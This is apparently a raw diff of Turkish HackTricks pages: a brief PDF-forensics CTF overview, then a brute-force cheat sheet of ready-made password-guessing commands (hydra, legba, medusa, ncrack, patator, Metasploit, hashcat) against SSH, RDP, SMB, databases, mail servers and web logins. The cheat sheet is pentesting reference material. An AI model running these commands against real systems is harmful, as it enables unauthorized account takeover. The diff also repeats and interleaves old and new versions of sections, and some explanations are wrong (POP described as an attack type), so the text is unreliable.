* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %}
**Daha fazla ayrıntı için kontrol edin:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
PDF formatı, verileri gizleme potansiyeli ve karmaşıklığı ile bilinir, bu da onu CTF adli bilişim zorluklarının odak noktası haline getirir. Basit metin öğelerini sıkıştırılmış veya şifrelenmiş olabilecek ikili nesnelerle birleştirir ve JavaScript veya Flash gibi dillerde betikler içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyallerine](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF'ye özgü bir düzenleyici gibi araçlar kullanılabilir.
PDF formatı, verileri gizleme potansiyeli ve karmaşıklığı ile bilinir, bu da onu CTF adli bilişim zorluklarının odak noktası haline getirir. Basit metin öğelerini ikili nesnelerle birleştirir, sıkıştırılmış veya şifrelenmiş olabilir ve JavaScript veya Flash gibi dillerde betikler içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyallerine](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF'ye özgü bir düzenleyici gibi araçlar kullanılabilir.
PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler şunlarda gizlenebilir:
PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler, şunlarda gizlenebilir:
* Görünmez katmanlar
* Adobe'nin XMP meta veri formatı
* Artımlı nesiller
* Adobe tarafından XMP meta veri formatı
* Artımsal nesiller
* Arka planla aynı renkteki metin
* Resimlerin arkasındaki veya resimlerin üzerine binen metin
* Resimlerin arkasındaki veya resimlerin üst üste binmesi
* Görüntülenmeyen yorumlar
Özel PDF analizi için [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemler hakkındaki kılavuzu gibi kaynaklar, orijinal konumunda artık barındırılmıyor olsa da hala değerli içgörüler sunmaktadır. Bir [kılavuz kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini'nin PDF formatı hakkında daha fazla okuma sağlayan bir [PDF formatı püf noktaları koleksiyonu](https://github.com/corkami/docs/blob/master/PDF/PDF.md) sunabilir.
Özel PDF analizi için [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemler hakkındaki rehberi gibi kaynaklar, artık orijinal konumunda barındırılmıyor olsa da hala değerli içgörüler sunmaktadır. Bir [rehber kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini'nin [PDF format hileleri](https://github.com/corkami/docs/blob/master/PDF/PDF.md) koleksiyonu, konu hakkında daha fazla okuma sağlayabilir.
<details>
<summary><strong>Sıfırdan kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> kadar öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>

View file

@ -1,24 +1,24 @@
# Brute Force - Kopya Kağıdı
# Brute Force - Hile Kağıdı
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)'i kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com)
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
</details>
@ -37,7 +37,7 @@ Kullanılan teknolojinin varsayılan kimlik bilgilerini aramak için google'da a
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **Kendi Sözlüklerinizi Oluşturun**
@ -56,7 +56,7 @@ crunch 6 8 -t ,@@^^%%
```
### Cewl
Cewl, bir web sitesinden metin çıkarmak için kullanılan bir araçtır. Bu araç, web sitesindeki metinleri analiz eder ve belirli kelimeleri veya kelime gruplarını çıkararak bir kelime listesi oluşturur. Bu kelime listesi daha sonra şifre kırma saldırılarında veya sosyal mühendislik saldırılarında kullanılabilir.
Cewl, bir web sitesinden metin çıkarmak için kullanılan bir araçtır. Genellikle, hedef web sitesindeki metinleri toplamak ve ardından bu metinleri parçalara ayırmak için kullanılır. Bu parçalar daha sonra şifre kırma saldırıları için kullanılabilir.
```bash
cewl example.com -m 5 -w words.txt
```
@ -105,10 +105,10 @@ Finished in 0.920s.
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)'i kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Hizmetler
@ -135,8 +135,6 @@ nmap --script ajp-brute -p 8009 <IP>
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
```
### Cassandra
Cassandra, Apache Software Foundation tarafından geliştirilen ve dağıtılan açık kaynaklı bir NoSQL veritabanı yönetim sistemidir. Cassandra, yüksek performanslı ve ölçeklenebilir dağıtılmış sistemler için tasarlanmıştır. Veritabanı, yüksek erişilebilirlik ve dayanıklılık sağlamak için tasarlanmıştır.
```bash
nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
@ -144,20 +142,20 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
```
### CouchDB
CouchDB, bir HTTP API'si üzerinden erişilebilen ve JSON belgelerini depolamak için kullanılan bir NoSQL veritabanıdır.
#### Kaba Kuvvet Saldırısı
Kaba kuvvet saldırısı, bir saldırganın, kullanıcı adı ve şifre kombinasyonlarını deneyerek sisteme erişmeye çalıştığı bir saldırı türüdür. Bu saldırı türü genellikle oturum açma sayfaları veya kimlik doğrulama gerektiren diğer alanlarda kullanılır. Saldırganlar genellikle otomatik araçlar kullanarak büyük bir kombinasyon listesini hızla deneyerek başarılı bir giriş yapmaya çalışırlar. Bu tür saldırılar genellikle zayıf şifreler veya kötü yapılandırılmış kimlik doğrulama mekanizmaları nedeniyle başarılı olabilir.
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Docker Registry
Docker Registry, Docker imajlarını depolamak ve dağıtmak için kullanılan bir depolama ve dağıtım sistemidir. Docker Registry'ye yetkisiz erişim sağlamak için brute force saldırıları kullanılabilir. Bu saldırılar, kullanıcı adı ve şifre kombinasyonlarını deneyerek Docker Registry'ye erişmeye çalışır. Güvenlik önlemleri alınarak bu tür saldırıların engellenmesi önemlidir.
### Docker Kayıt Defteri
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```
### Elasticsearch
Elasticsearch, açık kaynaklı bir arama ve analiz motorudur. Elasticsearch, RESTful API'leri aracılığıyla etkileşim sağlar. Elasticsearch, genellikle büyük veri kümelerinde arama yapmak için kullanılır.
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```
@ -188,23 +186,19 @@ legba http.ntlm2 --domain example.org --workstation client --username admin --pa
```
### HTTP - Post Form
#### Brute Force
Brute force is a common attack method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method can be used to crack passwords, access control systems, encryption keys, and more. It is important to note that brute force attacks can be time-consuming and resource-intensive, but they can be effective if proper security measures are not in place.
### HTTP - Post Form
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
```
### **HTTP - CMS --** (W)ordpress, (J)oomla veya (D)rupal veya (M)oodle
http**s** için "http-post-form"dan "**https-post-form"**'a değiştirmeniz gerekmektedir.
### **HTTP - CMS --** (W)ordpress, (J)oomla veya (D)rupal veya (M)oodle için "http-post-form"dan "**https-post-form"**'a değiştirmeniz gerekmektedir.
```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP
```
### IMAP
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker is attempting to gain unauthorized access to an email account, they may use a brute force attack against the IMAP server to guess the account password. This involves trying a large number of possible passwords until the correct one is found.
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. It allows the end user to view and manipulate the messages as though they were stored locally on the end user's device.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
@ -213,19 +207,17 @@ legba imap --username user --password data/passwords.txt --target localhost:993
```
### IRC
IRC, Internet Relay Chat, birçok farklı brute force saldırı vektörüne izin verir. Kullanıcı adı ve şifre kombinasyonlarını denemek için kullanılabilir. Ayrıca, IRC sunucuları genellikle çok sayıda kullanıcı adı ve şifre denemesine izin verir, bu da brute force saldırılarını daha etkili hale getirir.
IRC, Internet Relay Chat, birçok farklı brute-force saldırılarına karşı savunmasızdır. Kullanıcı adı ve şifre kombinasyonlarını denemek için kullanılabilir. Ayrıca, IRC sunucuları genellikle çok sayıda kullanıcı adı ve şifre denemesine izin verir, bu da brute-force saldırılarını daha etkili hale getirir.
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
```
### ISCSI
### ISCSI
```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
```
### JWT
JWT, yani JSON Web Token, kimlik doğrulama ve yetkilendirme için sıkça kullanılan bir standarttır. JWT'ler, Base64 URL ile kodlanmış bir JSON nesnesidir ve genellikle üç bölümden oluşurlar: başlık, yük ve imza. Başlık, JWT'nin türünü ve kullanılan algoritmayı belirtir. Yük, JWT'nin taşıdığı verileri içerir. İmza ise JWT'nin doğruluğunu sağlamak için kullanılan bir değerdir. JWT'lerin güvenliği, doğru şekilde uygulandığında sağlanır.
JWT (JSON Web Token), yani JSON Web İmzası, kimlik doğrulama ve bilgi paylaşımı için kullanılan bir açık standarttır. Bu standart, verileri güvenli bir şekilde JSON formatında taşımak için tasarlanmıştır.
```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
@ -250,14 +242,14 @@ jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibm
```
### LDAP
### LDAP
LDAP, Hafif Dizin Erişim Protokolü anlamına gelir. LDAP sunucularına karşı brute force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını denemek için gerçekleştirilir. Bu saldırı türü, genellikle kullanıcı kimlik doğrulama bilgilerini elde etmek amacıyla gerçekleştirilir. LDAP brute force saldırıları, güvenlik açıklarını tespit etmek ve kapatmak için yapılan pentestler sırasında kullanılabilir.
```bash
nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
```
### MQTT
MQTT, Message Queuing Telemetry Transport, bir IoT protokolüdür. MQTT sunucularına karşı brute force saldırıları, genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek gerçekleştirilir. Bu saldırı türü, güvenlik zafiyetlerini tespit etmek ve güvenlik önlemlerini güçlendirmek için kullanılabilir.
### MQTT
```
ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
@ -290,7 +282,7 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos
```
### OracleSQL
### OracleSQL
OracleSQL, Brute Force saldırılarına karşı oldukça hassastır. Brute Force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek sisteme erişmeye çalışır. OracleSQL veritabanlarına karşı Brute Force saldırıları genellikle güvenlik duvarları tarafından algılanır ve engellenir. Bu tür saldırılara karşı korunmak için karmaşık ve güçlü şifreler kullanılmalıdır.
```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
@ -314,7 +306,7 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
```
**oracle_login**'ı **patator** ile kullanabilmek için **yükleme** yapmanız gerekmektedir:
**oracle\_login**'ı **patator** ile kullanabilmek için **yükleme** yapmanız gerekmektedir:
```bash
pip3 install cx_Oracle --upgrade
```
@ -324,9 +316,7 @@ nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid
```
### POP
### Kaba Kuvvet Saldırısı
Kaba kuvvet saldırısı, bir şifreleme algoritmasını çözmek veya kimlik doğrulama bilgilerini elde etmek için tüm olası kombinasyonları deneyen bir saldırı türüdür.
POP, kısaltılmış bir saldırı türüdür. Bu saldırı türünde, saldırgan, genellikle oturum açma sayfasında veya API'de kullanılan kullanıcı adı ve şifre kombinasyonlarını denemek için otomatik bir araç kullanır. Bu yöntem, zayıf veya sık kullanılan şifrelerin tespit edilmesi için etkili olabilir.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
@ -339,7 +329,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
```
### PostgreSQL
PostgreSQL, açık kaynaklı bir ilişkisel veritabanı yönetim sistemi (RDBMS) dir. PostgreSQL veritabanlarına brute force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek gerçekleştirilir. Bu saldırı türü, güvenlik açıklarını tespit etmek ve zayıf şifreleri keşfetmek için kullanılır. Saldırganlar genellikle oturum açma sayfasına doğrudan erişmeye çalışarak brute force saldırılarını gerçekleştirirler. Bu tür saldırılara karşı koymak için güçlü ve karmaşık şifreler kullanılmalı ve oturum açma denemelerinin sınırlı olması sağlanmalıdır.
PostgreSQL, açık kaynaklı bir ilişkisel veritabanı yönetim sistemi (RDBMS) dir. Brute force saldırıları, genellikle zayıf veya sızdırılmış şifrelerin belirlenmesinde etkili bir yöntemdir. Saldırganlar, oturum açma sayfasına doğrudan erişim sağlayarak veya uygulama aracılığıyla oturum açarak PostgreSQL veritabanlarına brute force saldırıları gerçekleştirebilirler. Bu tür saldırıları önlemek için güçlü ve karmaşık şifreler kullanılmalı ve oturum açma sayfalarına erişimi sınırlamak için gerekli önlemler alınmalıdır.
```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres
@ -358,7 +348,7 @@ cat rockyou.txt | thc-pptp-bruter u <Username> <IP>
```
### RDP
RDP, Remote Desktop Protocol, Windows işletim sistemlerinde uzak masaüstü bağlantısı sağlamak için kullanılan bir protokoldür.
RDP, Remote Desktop Protocol, Windows işletim sistemlerinde uzak masaüstü bağlantısı sağlamak için kullanılan bir protokoldür. RDP brute force saldırıları, genellikle zayıf şifrelerle korunan RDP sunucularına karşı gerçekleştirilir. Bu saldırı türü, oturum açma bilgilerini tahmin etmek için otomatik olarak farklı şifre kombinasyonlarını denemeyi içerir.
```bash
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
@ -366,7 +356,7 @@ legba rdp --target localhost:3389 --username admin --password data/passwords.txt
```
### Redis
Redis, açık kaynaklı, in-memory veri yapısıyla çalışan bir veritabanı yönetim sistemidir. Redis, anahtar-değer veritabanı olarak kullanılır ve performansıyla bilinir. Redis, genellikle önbellek, oturum yönetimi ve sıralama gibi senaryolarda kullanılır.
Redis, açık kaynaklı, in-memory veri yapısıyla çalışan bir veritabanı yönetim sistemidir. Redis, anahtar-değer veritabanı olarak kullanılır ve genellikle hızlı okuma ve yazma işlemleri için tercih edilir. Redis, brute force saldırılarına karşı savunmasız olabilir, bu nedenle güçlü şifreler ve diğer güvenlik önlemleri kullanılmalıdır.
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
@ -375,43 +365,45 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t
```
### Rexec
Rexec, kaba kuvvet saldırıları için kullanılan bir protokol ve servistir. Rexec, kullanıcı kimlik doğrulaması için standart UNIX kimlik doğrulama protokollerini kullanır.
Rexec, kaba kuvvet saldırıları için kullanılan bir protokol ve servistir. Rexec, kullanıcı kimlik doğrulaması için kullanıcı adı ve şifre gibi bilgileri şifrelememektedir. Bu nedenle, kaba kuvvet saldırıları genellikle Rexec servisine karşı etkili olabilir.
```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
```
### Rlogin
Rlogin, a remote login service, can be brute-forced by trying different username and password combinations until a successful login is achieved.
Rlogin, a remote login service, can be brute-forced by trying different username and password combinations. This can be achieved using tools like Hydra or Medusa. It is important to note that brute-forcing Rlogin is considered illegal and unethical unless you have explicit permission to do so.
```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```
### Rsh
Rsh, Remote Shell, is a simple remote shell client included in most Unix-like operating systems. It can be used to execute commands on a remote system. It is not recommended to use Rsh due to security vulnerabilities, as it sends data in plain text, making it susceptible to interception and unauthorized access.
Rsh, Remote Shell, is a simple remote shell client included in most Unix-like operating systems. It can be used to execute commands on a remote system. It is not secure and transmits data in clear text, so it is recommended to use SSH instead.
```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
### Rsync
### Rsync
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
```
### RTSP
RTSP, Gerçek Zamanlı İletim Protokolü'nü ifade eder. Bu protokol, ağ üzerinden ses ve video yayınlarını yönetmek için kullanılır.
RTSP, Gerçek Zamanlı Akış Protokolü anlamına gelir. Bu protokol, ağ üzerinden ses ve video akışlarını yönetmek için kullanılır.
```bash
hydra -l root -P passwords.txt <IP> rtsp
```
### SFTP
SFTP, **Secure File Transfer Protocol** olarak da bilinir, SSH üzerinden dosya transferi yapmak için kullanılan bir protokoldür. SFTP, dosyaları güvenli bir şekilde aktarmak için şifreleme ve kimlik doğrulama sağlar. Saldırganlar, zayıf şifreler veya brute force saldırıları gibi yöntemlerle SFTP sunucularına erişmeye çalışabilir. Bu nedenle, güçlü şifreler kullanmak ve gerekirse ikinci bir kimlik doğrulama faktörü eklemek önemlidir.
```bash
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
### SNMP
SNMP, yani Basit Ağ Yönetim Protokolü, ağ cihazlarını yönetmek ve izlemek için kullanılan bir protokoldür. SNMP brute force saldırıları, genellikle varsayılan topluluk dizesi gibi zayıf kimlik doğrulama bilgilerini kullanarak SNMP hizmetlerine erişmeye çalışır. Bu saldırılar, ağ cihazlarının kontrolünü ele geçirmek veya ağ üzerinde casusluk yapmak için kullanılabilir.
```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
@ -422,7 +414,7 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
#### Kaba Kuvvet Saldırıları
Kaba kuvvet saldırıları, bir hedef sistemdeki kullanıcı adı ve şifre kombinasyonlarını deneyerek giriş yapmaya çalışan saldırı türleridir. SMB protokolü üzerinde kaba kuvvet saldırıları gerçekleştirerek, zayıf şifreler kullanılarak sistemlere erişim elde edilebilir. Bu saldırı türü, güvenlik açıklarını tespit etmek ve zayıf şifreleri güçlendirmek için kullanılabilir.
Kaba kuvvet saldırıları, bir hedef sistemdeki kullanıcı adı ve parola kombinasyonlarını denemek için kullanılan bir saldırı tekniğidir. Bu saldırı türü, genellikle zayıf parolaları tespit etmek veya parola karmaşıklığı politikalarını ihlal eden kullanıcı hesaplarını belirlemek amacıyla kullanılır. Kaba kuvvet saldırıları, oturum açma ekranları, web uygulamaları, veritabanları ve diğer sistemlerde kullanılabilir. Saldırganlar, oturum açma sayfalarına veya hedef sistemlere erişmek için otomatik araçlar veya özel yazılımlar kullanarak büyük bir parola listesini deneyebilirler. Bu saldırı türü, etkili bir şekilde uygulandığında hedef sistemlere yetkisiz erişim sağlayabilir.
```bash
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
@ -430,7 +422,7 @@ legba smb --target share.company.com --username admin --password data/passwords.
```
### SMTP
Simple Mail Transfer Protocol (Basit Posta Aktarım Protokolü) olarak da bilinen SMTP, e-posta iletilerinin iletimi için kullanılan standart bir ileti aktarım protokolüdür.
SMTP, Simple Mail Transfer Protocol, e-posta sunucuları arasında iletişim kurmak için kullanılan standart bir iletişim protokolüdür. Gönderen sunucu, alıcı sunucuya e-posta iletisini iletmek için SMTP'yi kullanır.
```bash
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
